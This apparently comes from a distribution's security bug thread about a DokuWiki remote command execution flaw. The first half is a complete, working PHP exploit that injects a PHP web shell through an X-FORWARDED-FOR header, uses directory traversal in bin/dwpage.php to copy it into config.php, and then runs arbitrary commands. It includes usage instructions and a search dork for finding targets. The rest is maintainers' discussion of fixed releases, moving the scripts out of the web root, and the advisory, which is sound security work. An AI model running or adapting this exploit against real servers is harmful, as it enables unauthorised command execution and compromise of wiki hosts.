From bugtraq: #!/usr/bin/php -q -d short_open_tag=on <? print_r(' -------------------------------------------------------------------------------- DokuWiki <= 2006-03-09b release /bin/dwpage.php remote commands execution xploit by rgod rgod@autistici.org site: http://retrogod.altervista.org dork: "Driven by DokuWiki" -------------------------------------------------------------------------------- '); /* works with register_argc_argv = On */ if ($argc<4) { print_r(' -------------------------------------------------------------------------------- Usage: php '.$argv[0].' host path cmd OPTIONS host: target server (ip/hostname) path: path to dokuwiki cmd: a shell command Options: -p[port]: specify a port other than 80 -P[ip:port]: specify a proxy Example: php '.$argv[0].' localhost /wiki/ ls -la -P1.1.1.1:80 php '.$argv[0].' localhost /wiki/ ls -la -p81 -------------------------------------------------------------------------------- '); die; } /* software site: http://wiki.splitbrain.org/wiki:dokuwiki there are some shell scripts in /bin folder and there is no .htaccess to protect it: most dangerous one is dwpage.php, if register_argc_argv = On it allows to copy/move files among folders because of $TARGET_FN var directory traversal, also you can inject a shell by main doku.php script sending a malicious X-FORWARDED-FOR http header (but you could do the same uploading some file in /data/media folder through /lib/exe/media.php..., I choosed the first solution) also, I noticed, you can disclose php configuration by setting an http header like this calling the main doku.php script: X-DOKUWIKI-DO: debug (debug feature is enabled by default...) */ error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",5); function quick_dump($string) { $result='';$exa='';$cont=0; for ($i=0; $i<=strlen($string)-1; $i++) { if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )) {$result.=" .";} else {$result.=" ".$string[$i];} if (strlen(dechex(ord($string[$i])))==2) {$exa.=" ".dechex(ord($string[$i]));} else {$exa.=" 0".dechex(ord($string[$i]));} $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";} } return $exa."\r\n".$result; } $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.$host.':'.$port; die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo 'Not a valid proxy...';die; } $parts=explode(':',$proxy); echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n"; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...';die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); #debug #echo "\r\n".$html; } $host=$argv[1]; $path=$argv[2]; $cmd=""; $port=80; $proxy=""; for ($i=3; $i<$argc; $i++){ $temp=$argv[$i][0].$argv[$i][1]; if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];} if ($temp=="-p") { $port=str_replace("-p","",$argv[$i]); } if ($temp=="-P") { $proxy=str_replace("-P","",$argv[$i]); } } if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} //create /data/pages/suntzu.txt.lock and inject the shell code $data="do=edit&rev=&id=suntzu"; $packet="POST ".$p."doku.php HTTP/1.0\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="X-FORWARDED-FOR: <?php set_time_limit(0);echo 'my_delim';passthru(\$_SERVER['HTTP_CLIENT_IP']);die;?>\r\n"; $packet.="Content-Type: application/x-www-form-urlencoded\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Connection: Close\r\n\r\n"; $packet.=$data; sendpacketii($packet); sleep(1); //copy /data/pages/suntzu.txt.lock to /data/pages/wiki/suntzu.txt $packet="GET ".$p."bin/dwpage.php?-m+\"suntzu\"+commit+../data/pages/suntzu.txt.lock+wiki:suntzu HTTP/1.0\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; sendpacketii($packet); sleep(1); //copy /data/pages/wiki/suntzu.txt to config.php inside main folder $packet="GET ".$p."bin/dwpage.php?-m+\"suntzu\"+checkout+wiki:suntzu+../config.php HTTP/1.0\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; sendpacketii($packet); sleep(1); //launch commands... $packet="GET ".$p."config.php HTTP/1.0\r\n"; $packet.="CLIENT-IP: $cmd\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; sendpacketii($packet); if (strstr($html,"my_delim")){echo "exploit succeeded...\r\n";$temp=explode("my_delim",$html);die($temp[1]);} else { echo "exploit failed...\r\n";} ?> original url: http://retrogod.altervista.org/dokuwiki_2006-03-09b_cmd.html
web-apps, please advise, are there newer releases or any hints from upstream?
still no news afaict
seems to be serious; upstream is working on it: http://www.freelists.org/archives/dokuwiki/09-2006/msg00064.html
Upstream hast released dokuwiki-2006-03-09c; please bump and mark stable, thank you!
You may postpone stabling until we have called arches <cough> ... never listen too n00b devs, but have mercy on them ... o_O.
pinging web-apps ^^
CC'ing ramereth, since he does not seem to be on the web-apps alias
(In reply to comment #7) > CC'ing ramereth, since he does not seem to be on the web-apps alias > Wow, took you guys long enough to add me to the bug. I'll look into getting a new ebuild in today and checking on this. Thanks.
20060309c is now in cvs. Please test with all the affected arches. I also added myself to the announce list for dokuwiki, so hopefully I know about this sooner.
Arches, please test and mark stable, thanks! Lance, did you add yourself to web-apps, BTW?
Hmpf. No JavaScript, no working Add Archs button. Sorry for the bugspam. Arches, please test & stable.
x86 safe
Wasn't stable for ppc before ...
Ready for GLSA...
I just noticed an odd 'bug' with the 20060309c release of the package. When you ask it what version it is, it claims its still 20060309b, but its really 20060309c. I just sent an email to upstream because I see that the version file they have in the tarball says that. Just something to maybe note in the GLSA, I'm not sure. Of course portage reports it as 20060309c, its just a matter of what dokuwiki will say it is.
heads up guys ... at work i had a look at this, and it seems that the fix consisted of a .htpasswd file only - $HTTP_SERVER could ignore this, leaving a system vulnerable - pls check
(In reply to comment #16) > heads up guys ... at work i had a look at this, and it seems that the fix > consisted of a .htpasswd file only - $HTTP_SERVER could ignore this, leaving a > system vulnerable - pls check > It looks like the fix [1] should be me moving it entirely out of the htdocs dir and place it outside of the realm of the webserver. The php file that has the flaw was never intended to be viewed to the world [2]. I'll see if I can come up with an ebuild that adjusts it to follow that. Can you try this solution and see if it fixes the issues that are outlined? Please hold on releasing the GLSA until we get this sorted out. [1] http://wiki.splitbrain.org/wiki:security#the_._bin_directory [2] http://article.gmane.org/gmane.comp.web.wiki.dokuwiki.general/5491
the quick 'fix' was indeed to add the .htaccess to the tarball there is also a short discussion on the dokuwiki mailinglist about a different directory layout and stuff, the debian maintainer for dokuwiki commented there too (they already move some stuff out of the webdir cause of their policies)
I wonder how many people would benefit from that "fix" ... none of my installations has Overrides on :/ Lance, seems like moving the stuff away seems a _much_ better idea ...
Hi, Just to chip in here ... any fix that relies on .htaccess files isn't fit for purpose. It's Apache-specific at best (we support more than just Apache), and it relies on Apache being configured to pick up the .htaccess file - which you can't guarantee. Best regards, Stu
just as info... Last two comments on the dokuwiki bug: http://bugs.splitbrain.org/?do=details&id=906 Comment by Andreas Gohr (andi) - Friday, 08 September 2006, 08:22PM If you don't know what the files in the bin folder are good for, you probably never used the files in it and can safely delete the whole folder. The bin folder contains scripts to be run on a commandline to automate certain tasks in DokuWiki. Comment by Christopher Smith (ChrisS) - Monday, 11 September 2006, 02:35PM Development version patched to add a sapi check at the start of each of the scripts in the lib/bin directory and have the script abort if the script isn't being run using the 'cli' sapi - ie, the scripts will abort immediately if run by the webserver.
amd64 doesn't have any stable versions, so I don't see what we're supposed to be doing on this bug. If you need us for something, please re-add us.
(In reply to comment #20) > Hi, > > Just to chip in here ... any fix that relies on .htaccess files isn't fit for > purpose. It's Apache-specific at best (we support more than just Apache), and > it relies on Apache being configured to pick up the .htaccess file - which you > can't guarantee. Yup, I totally agree. I'm going to be busy most of today, but I'll try my best to get a fix for this soon. Just to recap: * I need to move the bin dir to a non-docroot (possibly /usr/share/docs?) location I don't need to change anything else, correct? I'm having a little hard time following all the vulunerabilites that's cropped up for doku in the last week or so. Thanks-
That's what I was sugesting befor mid-air collision ^^. Could you go ahead so we can shove this one out, it kinda hurts :/ Thank you!
I just got an email on the list concerning my questions: === Damned. Yes I forgot to update the VERSION file. Anyway I just uploaded a new tarball named 2006-03-09d where I upped the VERSION string and added the recently added sapi name checks to the commandline scripts. Note: I just updated the DNS for www.splitbrain.org, if you don't see the new tarball just try again in a few hours. Andi ==== While the sapi name check helps, I'm still going to plan to move that directory out of the docroot. I have a meeting in 30 minutes, and hope to crack at this after the meeting.
Changing back to [ebuild] for now, since Lance is still working on it.
Also rerating to B1 (direct exploit).
I just committed 20060309d into cvs. This ebuild moves the scripts in the bin directory to the packages doc dir under the directory named scripts/ and are gziped. Please test and mark stable. I will remove the older ebuilds once things get marked stable and the GLSA is out. Thanks!
cc'ing x86 again for stabling 20060309d. GLSA is drafted, SecTeam pls. review, this one should go out _fast_ now, thanks!
x86 done
thx
Thx everyone. GLSA 200609-10
[x]
